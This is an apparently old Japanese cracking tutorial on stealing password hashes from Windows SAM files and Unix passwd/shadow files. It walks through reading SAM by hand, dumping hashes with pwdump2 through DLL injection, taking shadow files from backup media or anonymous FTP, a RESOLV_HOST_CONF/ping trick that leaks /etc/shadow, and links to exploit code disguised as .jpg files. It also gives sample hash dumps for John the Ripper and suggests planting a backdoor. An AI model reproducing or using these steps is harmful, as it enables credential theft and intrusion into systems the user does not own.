WindowsNT/2000/XPのパスワードはSAMで管理されています。また、パスワードデータは「LMハッシュ」、「NTハッシュ」という2つのファイルに分かれています。
SAMファイルは「C:\WINDOWS\System32\config」ディレクトリ内に、4096バイトごとにブロック化されて存在しています。最初のブロックは「regf」(0x72656766)というマークから始まり、以後「hbin」(0x6862696E)というマークで始まるブロックが続きます。
rootのパスワードデータを取得するために、000001F4(0x3030303030314634)という文字列を検索します。これはrootのRID(相対識別子)に当たるレジストリキー名です。
次に、当該文字列が「nk」(0x6E6B)で始まるレコード名かどうかを確認します。レコードサイズはダブルワードに対する2の補数で表現されます。
そして、当該nkレコードのValueの数とValueのオフセットリストの場所を確認します。Valueが1個の場合は、別の000001F4を探します。Valueのオフセットリストの場所を示すアドレスはhbinブロック群でのオフセット値であり、SAMファイルの先頭からregfブロック分(4096バイト)を加える必要があります。
Valueのオフセットリストレコードで示される2つのValueの場所を確認します。そこにvkレコードがあります。ここに208バイトのヘッダ、ユーザー名、フルネーム、説明、パスワードデータなどが格納されています。
WindowsNT/2000/XPのパスワードデータは先に述べた通りLMハッシュとNTハッシュの2種類が存在し、どちらのサイズも16バイトです。これらのパスワードデータが格納されている場所を示すオフセット値は、ヘッダの156バイト目にあります。
パスワードデータはLMハッシュ及びNTハッシュそのものではなく、RIDの一部を暗号鍵としてDESで暗号化したものです。
WindowsNT/2000システムにおいてDLLインジェクションを使ってSYSKEYが有効であってもハッシュ値(SAM)を入手できます。
DLLインジェクションとは、強制的に指定したDLLファイルをあるプロセスに読み込ませることで、そのプロセスに別の動作をさせるテクニックです。
ただし、pwdump2はroot権限かSYSTEM権限でないと実効できません。SYSTEM権限とはWindowsNT/2000においてOS動作権限のようなもです。root権限と等しい権限を持っています。
Admin:500:cc0d6002440fd9edaad3b435b51404ee:85d07d5fd4f31549f141fd3c019f1bd7::: Defolos:1005:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Assistant:1004:db3d71e7e747508bce62c3975cc910cc:1c067d5e4f1a35f1ffd4f77102b7173c::: SUPPORT:1002:aad3b435b51404eeaad3b435b51404ee:f3a37fe25c4df6c79b0167e3578aad2b:::
上記のようなパスワードファイルをJohn the ripperなどのパスワード解析ツールにかけてパスワードを解析します。John the ripperの詳細は他のテキストを参照してください。
Linux/UNIXのパスワードは、「/etc/passwd」に暗号化して書かれています。また、root権限に限らず一般ユーザ権限でも閲覧は可能となっています。
しかし、一般的にpasswdファイルを開いてみても、パスワードの書かれている場所は***となっていて見ることができません。これはshadowがかかっているからであり、shadowがかかっていると「/etc/shadow」というファイルにパスワードが暗号化されて書かれる仕組みになっています。
このshadowファイルはroot以外はアクセス権限がないため一般ユーザでは閲覧が不可能です。しかしもし、このshadowファイルの中身を入手できたとしたら、全てのユーザのパスワードを知ることができる可能性があります。
パスワードファイルは「:」で7つのフィールドに区切られています。
例)root:JPfsdh1NAjIUw:0:0:Special admin sign in:/:/bin/csh
それぞれは順々に次のように意味を持っています。
DESで暗号化されたパスワードが格納されています。 ここが「x」、「*」、「!」となっていれば、そのシステムはshadowがかかっているということです。
16ビットの整数値で、アクセス権を確認するのに使われます。ここが0の場合はrootであることを示しています。UIDの-1と-2は、NFSで使われます。UIDが-1の場合には、ユーザとして認められていないことを意味し、誰も参照されません。
UIDが-の場合には、そのシステムのrootとしてアクセスすることが認められていない他のシステムのrootがファイルシステムにアクセスすることを意味します。
16ビットの整数値です。
コメントが書き込まれるフィールドです。ユーザの本名、住所、電話番号などを書き込むしきたりになっています(間に受けて本名なんか入力してる人はいないでしょうが・・・)。
なお、このフィールドはfingerコマンドを使用したときにも参照されます。
ユーザがログインしたときにカレントディレクトリとなるディレクトリを表しています。
ユーザがログインしたときに使用されるシェルを表しています。
最も簡単な方法はバックアップメディア内のpasswd/shadowファイルです。 バックアップ機器周辺に無造作に置かれている場合があるのでそこから入手しましょう。
shadowがかかってないシステムに限られますが、AnonymousFTPを利用することでpasswdファイルを入手することができます。
AnonymousFTPで接続し、/etc/passwdを見てみます。shadowがかかっていた場合は諦めてください。
最近のRedHatはデフォルトでshadowがかかるので、この方法は通用しない可能性が高いです。
クラッキングにより奪取したroot権限によりshadowファイルを閲覧する方法です。しかし、それならバックドアを仕掛けたほうがよほど効率的でしょう。
root:JPfsdh1NAjIUw:0:0:Special admin sign in:/:/bin/csh sysadm:ufcNtKNYj7m9I:0:0: Regular Admin login:/admin:/sbin/sh bin:*:2:2:Admin :/bin: sys:*:3:3:Admin :/usr/src: adm:*:4:4:Admin :/usr/adm:/sbin/sh daemon:*:1:1: Daemon Login for daemons needing nobody:*:65534:65534::/: ftp:*:39:39:FTP guest login:/var/ftp: dtodd:yYn1sav8tKzOI:101:100:John Todd:/home/dtodd:/sbin/sh joetest:0IeSH6HfEEIs2:102:100::/home/joetest:/usr/bin/restsh"
下の文字列はshadowファイルのサンプルです。
defolos:hogehoge:10480:0:99999:7:::
各フィールドは次のような意味を持っています。
shadowファイルはroot以外はアクセスできないようになっているため、比較的安全なシステムだと言えます。最近のRedHatではデフォルトでshadowがかかりますが、油断は禁物です。
Exploitを利用して奪取します。Exploitにも様々な種類のものが出回っており、代表的なものを紹介します。なお、これらのExploitはかなり古いものであり、効果のあるシステムは少ないと思われます。
#include <stdio.h>
int main()
{
struct passwd *p;
while((p=getpwent())!=NULL)
printf("%s:%s:%d:%d:%s:%s:%s:%s",p->pw_name,p->pw_passwd,p-> pw_uid,p->pw_gid,
p->pw_gecos,p->pw_dir,p->pw_shell);
}
このプログラムを実行すると、次のような行が次々表示されます。
bankim:EauDLA/PT/HQg:505:505:bankim:/home/bankim:/bin/bash
まず、exportコマンドでシャドウパスワードをRESOLV_HOST_CONFに対応付けます。
$ export RESOLV_HOST_CONF=/etc/shadow
シェルによっては次のようにしなければならないでしょう。
$ export
$ declare -x HOST_CONF_RESOLV="/etc/shadow"
そして、次のように入力します。
$ ping /etc/shadow
/etc/shadowホストは存在しません。よって名前解決できないというエラーが、次のように出力されます。
resolv+: "root:Edzr3hs6hd63sh:10175:0:99999:7:::" is an invalid keyword ping: unknown host.
このエラー出力の「root:Edzr3hs6hd63sh:10175:0:99999:7::」が shadow内のrootの情報です。
http://ruffnex.oc.to/text1/figure/Lopht_Advisory-IMAPD.jpg
拡張子を.jpgにしてありますが、テキストエディタで開いてください。
imapdをクラッシュさせ、shadowをカレントディレクトリにダンプさせるExploitです。リモートでも効果があるようですが、NetCat110が必要となります。
http://ruffnex.oc.to/text1/figure/deshadow.jpg
拡張子を.jpgにしてありますが、テキストエディタで開いてください。
/etc/shadowの中身をダンプできるそうですが、今も使えるかどうかは疑問です。
これらで得られたSAMファイルやpasswd、shadowファイルは暗号化されているので、John the Ripperなどのパスワード解析ツールを使って復号化します。詳細はJohn the Ripperの記事を参照してください。